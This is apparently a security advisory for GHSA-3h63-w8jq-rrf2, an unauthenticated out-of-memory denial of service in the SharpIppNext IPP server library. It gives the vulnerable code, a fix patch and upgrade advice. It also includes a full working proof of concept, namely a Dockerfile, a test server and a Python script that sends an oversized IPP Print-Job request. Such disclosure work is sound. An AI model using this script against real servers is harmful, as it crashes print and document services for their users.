SharpIppNext: Unbounded IPP Document Stream Buffering Leads to Denial of ServiceGHSA-3h63-w8jq-rrf2
HIGHFix: danielklecha/SharpIppNext@30e236eGHSA-3h63-w8jq-rrf2 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in SharpIppNext. A fix is available for SharpIppNext — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-3h63-w8jq-rrf2.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
SharpIppNextReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects NuGet packages — download data is not available via public APIs for these ecosystems.
Description
Summary
SharpIppNext's IppProtocol.ReadIppRequestAsync() unconditionally copies the entire attacker-supplied IPP document payload into an unbounded MemoryStream with no size limit. Because this behavior is enabled by default (ReadDocumentStream = true) and the official server documentation shows HttpContext.Request.Body being passed directly to ReceiveRequestAsync() without authentication, an unauthenticated remote attacker can exhaust the server process's memory by sending an arbitrarily large IPP request body, causing an Out-Of-Memory (OOM) condition and denial of service.
[!NOTE] This vulnerability only affects server-side implementations (using
SharpIppServerto parse incoming IPP requests). It does not affect client-side implementations usingSharpIppClientor client-side request construction.
Details
The vulnerable sink is in SharpIpp/Protocol/IppProtocol.cs:
// IppProtocol.cs:39 — enabled by default
public bool ReadDocumentStream { get; set; } = true;
// IppProtocol.cs:466–470 — no size cap on the copy
if (ReadDocumentStream)
{
message.Document = new MemoryStream();
await reader.BaseStream.CopyToAsync(message.Document); // unbounded
message.Document.Seek(0, SeekOrigin.Begin);
}
The full call chain from the public API to the vulnerable sink:
docs/Content/Server/index.md:6–11— Official server example passescontext.Request.Body(unauthenticated) tosharpIppServer.ReceiveRequestAsync(inputStream).SharpIpp/ISharpIppServer.cs:78— Public API declaration:Task<IIppRequest> ReceiveRequestAsync(Stream stream, ...).SharpIpp/SharpIppServer.cs:62–67—ReceiveRequestAsync(Stream)overload delegates toReceiveRawRequestAsync(stream).SharpIpp/SharpIppServer.cs:52–58—ReceiveRawRequestAsynccalls_ippProtocol.ReadIppRequestAsync(stream, ...).SharpIpp/Protocol/IppProtocol.cs:466–470—ReadIppRequestAsynccopies all remaining bytes after the IPP attribute section into anew MemoryStream()with no upper bound.
The existing validator (IppRequestMessageValidator.ValidateStringLengthLimitsRule, IppRequestMessageValidator.cs:260) only checks IPP attribute string/octet lengths after parsing; it does not constrain the document stream buffered at step 5.
Dynamic confirmation (Phase 2): a Docker-based PoC server built directly from the v4.0.2 source (commit 185343e) was sent a 100 MB IPP document payload. The server responded docLength=104857600, confirming all 100 MB were buffered into a MemoryStream with no rejection.
PoC
1. Build and start the vulnerable server
# From the repository root (build context: parent of vuln-001/)
docker build -t sharpipp-dos-poc -f vuln-001/Dockerfile \
reports/pypiAi_973_danielklecha__SharpIppNext/
docker run --rm -d -p 8631:8631 --name sharpipp-dos-server sharpipp-dos-poc
The PoC server (Program.cs) uses the default SharpIppServer (which uses IppProtocol with ReadDocumentStream = true) and exposes a single unauthenticated POST endpoint:
using SharpIpp;
var server = new SharpIppServer();
var app = WebApplication.Create();
app.MapPost("/", async ctx =>
{
var req = await server.ReceiveRawRequestAsync(ctx.Request.Body);
ctx.Response.ContentType = "text/plain";
await ctx.Response.WriteAsync($"docLength={req.Document?.Length}\n");
});
app.Run("http://0.0.0.0:8631");
2. Send the crafted IPP request
python3 vuln-001/poc.py 127.0.0.1 8631 100
The PoC script (poc.py) builds a minimal valid IPP/2.0 Print-Job request (version + operation-id + request-id + operation-attributes-tag + two mandatory attributes + end-of-attributes-tag) followed by an attacker-controlled document body of the requested size, then sends it over HTTP.
3. Expected output
[*] Target : http://127.0.0.1:8631/
[*] IPP header size : 72 bytes
[*] Document payload: 100 MB (104,857,600 bytes)
[*] Total request : 104,857,672 bytes
[*] Sending request...
[*] HTTP status : 200
[*] Response : docLength=104857600
[PASS] CONFIRMED: server buffered 104,857,600 bytes (100 MB) into MemoryStream with NO size limit.
[PASS] Vulnerable sink: IppProtocol.cs:469 reader.BaseStream.CopyToAsync(message.Document)
Increasing doc_size_mb (e.g., to 4096 or beyond available RAM) triggers process-level OOM on the target server.
Recommended fix
Add a configurable maximum document size and throw client-error-request-entity-too-large when exceeded:
--- a/SharpIpp/Protocol/IppProtocol.cs
+++ b/SharpIpp/Protocol/IppProtocol.cs
+ public long? MaxDocumentStreamBytes { get; set; } = 128L * 1024 * 1024;
if (ReadDocumentStream)
{
message.Document = new MemoryStream();
- await reader.BaseStream.CopyToAsync(message.Document);
+ await CopyDocumentStreamAsync(reader.BaseStream, message.Document,
+ message, MaxDocumentStreamBytes, cancellationToken).ConfigureAwait(false);
message.Document.Seek(0, SeekOrigin.Begin);
}
Impact
This is an unauthenticated network-reachable Denial of Service vulnerability. Any server that follows the official SharpIppNext documentation and passes an HTTP request body to ReceiveRequestAsync() or ReceiveRawRequestAsync() is vulnerable out of the box, because ReadDocumentStream defaults to true and no document size limit exists in the library.
An attacker with network access to the IPP endpoint can:
- Send a single HTTP POST request with an arbitrarily large body to exhaust the server process's heap memory.
- Trigger an OOM kill or
OutOfMemoryException, crashing the ASP.NET host process and making the printer/IPP service unavailable. - Repeat the attack trivially since no authentication is required and the exploit requires only a standard HTTP client.
Only consumers of SharpIppNext that expose an IPP server endpoint using SharpIppServer (e.g., print servers, document management systems, and IoT firmware) are affected. Applications acting purely as clients (SharpIppClient) to query printers or submit jobs are not affected.
Reproduction artifacts
Dockerfile
# syntax=docker/dockerfile:1
# PoC Dockerfile for VULN-001: Unbounded IPP Document Stream Buffering DoS
#
# Vulnerability: SharpIppNext v4.0.2 (commit 185343e) buffers the entire
# attacker-supplied IPP document payload into an unbounded MemoryStream.
#
# Affected code (IppProtocol.cs:39, 466-470):
# public bool ReadDocumentStream { get; set; } = true;
# ...
# message.Document = new MemoryStream();
# await reader.BaseStream.CopyToAsync(message.Document); // no size limit
#
# Build context: the parent directory (pypiAi_973_danielklecha__SharpIppNext/)
# docker build -t sharpipp-dos-poc \
# -f vuln-001/Dockerfile .
#
# Usage:
# docker run --rm -d -p 8631:8631 --name sharpipp-dos sharpipp-dos-poc
# python3 vuln-001/poc.py
# ---------------------------------------------------------------------------
# Build stage: compile the PoC server against the vulnerable SharpIpp library
# ---------------------------------------------------------------------------
FROM mcr.microsoft.com/dotnet/sdk:10.0 AS build
# Set up the vulnerable library build environment
WORKDIR /lib
# Create a minimal Directory.Build.props so SharpIpp.csproj can be compiled
# without TreatWarningsAsErrors (build toolchain compatibility)
RUN printf '<Project>\n <PropertyGroup>\n <Nullable>enable</Nullable>\n <LangVersion>latest</LangVersion>\n <NoWarn>$(NoWarn);618;612;NETSDK1138</NoWarn>\n </PropertyGroup>\n</Project>\n' > Directory.Build.props
# Copy central package versions (required by SharpIpp netstandard2.0 target)
COPY repo/Directory.Packages.props ./
# Copy the vulnerable SharpIppNext source code (v4.0.2, commit 185343e)
# IMPORTANT: source is copied unmodified; only the build config above is custom
COPY repo/SharpIpp/ ./SharpIpp/
# Set up and build the PoC web server
WORKDIR /app/server
COPY vuln-001/server/ ./
RUN dotnet restore server.csproj
RUN dotnet publish server.csproj -c Release -o /published
# ---------------------------------------------------------------------------
# Runtime stage: minimal ASP.NET 10 image
# ---------------------------------------------------------------------------
FROM mcr.microsoft.com/dotnet/aspnet:10.0
WORKDIR /app
COPY --from=build /published ./
EXPOSE 8631
ENTRYPOINT ["dotnet", "server.dll"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Unbounded IPP Document Stream Buffering DoS
CVE candidate: SharpIppNext v4.0.1/v4.0.2 (CWE-400, CVSS 7.5)
Vulnerability: IppProtocol.ReadIppRequestAsync() copies the entire attacker-
controlled IPP document payload into a MemoryStream with no size limit:
if (ReadDocumentStream) // default: true
{
message.Document = new MemoryStream();
await reader.BaseStream.CopyToAsync(message.Document); // NO limit
message.Document.Seek(0, SeekOrigin.Begin);
}
An unauthenticated attacker sends a valid IPP header followed by an arbitrarily
large document body. The server buffers all bytes in memory, leading to OOM.
Usage:
python3 poc.py [host] [port] [doc_size_mb]
host Target host (default: 127.0.0.1)
port Target port (default: 8631)
doc_size_mb Document payload size in MB (default: 100)
Expected result:
Server responds with "docLength=<N>" where N equals doc_size_mb * 1024^2.
This confirms all bytes were buffered into MemoryStream with no size check.
"""
import sys
import struct
import http.client
import time
def build_ipp_attr(tag: int, name: bytes, value: bytes) -> bytes:
"""Encode a single IPP attribute."""
return (
bytes([tag])
+ struct.pack(">H", len(name))
+ name
+ struct.pack(">H", len(value))
+ value
)
def build_ipp_request(doc_size_bytes: int) -> bytes:
"""
Build a minimal valid IPP/2.0 Print-Job request.
Wire format:
[2] version-number 0x0200 (IPP 2.0)
[2] operation-id 0x0002 (Print-Job)
[4] request-id 0x00000001
[1] delimiter 0x01 (operation-attributes-tag)
[N] attributes attributes-charset + attributes-natural-language
[1] delimiter 0x03 (end-of-attributes-tag)
[M] document-data <arbitrary payload — the attack surface>
"""
# IPP header: version 2.0, Print-Job, request-id 1
header = struct.pack(">HHI", 0x0200, 0x0002, 0x00000001)
# Operation attributes group
attrs = bytes([0x01]) # operation-attributes-tag
attrs += build_ipp_attr(0x47, b"attributes-charset", b"utf-8")
attrs += build_ipp_attr(0x48, b"attributes-natural-language", b"en")
attrs += bytes([0x03]) # end-of-attributes-tag
# Document payload: attacker-controlled bytes after end-of-attributes
# CopyToAsync will buffer ALL of these into a MemoryStream
document = b"X" * doc_size_bytes
return header + attrs + document
def run_poc(host: str, port: int, doc_size_mb: int) -> bool:
"""
Send the crafted IPP request and verify the server echoes the full docLength.
Returns True (PASS) if the server confirms unbounded buffering.
"""
doc_size_bytes = doc_size_mb * 1024 * 1024
payload = build_ipp_request(doc_size_bytes)
ipp_header_len = len(payload) - doc_size_bytes
print(f"[*] Target : http://{host}:{port}/")
print(f"[*] IPP header size : {ipp_header_len} bytes")
print(f"[*] Document payload: {doc_size_mb} MB ({doc_size_bytes:,} bytes)")
print(f"[*] Total request : {len(payload):,} bytes")
print(f"[*] Expected docLength in response: {doc_size_bytes}")
print()
print(f"[*] Sending request...")
t0 = time.time()
try:
conn = http.client.HTTPConnection(host, port, timeout=180)
conn.request(
"POST",
"/",
body=payload,
headers={
"Content-Type": "application/ipp",
"Content-Length": str(len(payload)),
},
)
response = conn.getresponse()
body = response.read().decode("utf-8", errors="replace").strip()
elapsed = time.time() - t0
except Exception as exc:
print(f"[FAIL] Connection error: {exc}")
return False
print(f"[*] HTTP status : {response.status}")
print(f"[*] Response : {body}")
print(f"[*] Round-trip : {elapsed:.2f}s")
print()
expected = f"docLength={doc_size_bytes}"
if expected in body:
print(
f"[PASS] CONFIRMED: server buffered {doc_size_bytes:,} bytes ({doc_size_mb} MB) "
f"into MemoryStream with NO size limit."
)
print(
f"[PASS] Vulnerable sink: IppProtocol.cs:469 "
f"reader.BaseStream.CopyToAsync(message.Document)"
)
return True
else:
print(f"[FAIL] Expected '{expected}' in response, got: {body!r}")
return False
def main() -> None:
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 8631
doc_size_mb = int(sys.argv[3]) if len(sys.argv) > 3 else 100
success = run_poc(host, port, doc_size_mb)
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| .NETNuGet | SharpIppNext | all versions | 4.1.0dotnet add package SharpIppNext --version 4.1.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for SharpIppNext, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update SharpIppNext to 4.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3h63-w8jq-rrf2 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is GHSA-3h63-w8jq-rrf2 in your dependencies?
Find it across NuGet, including transitive dependencies.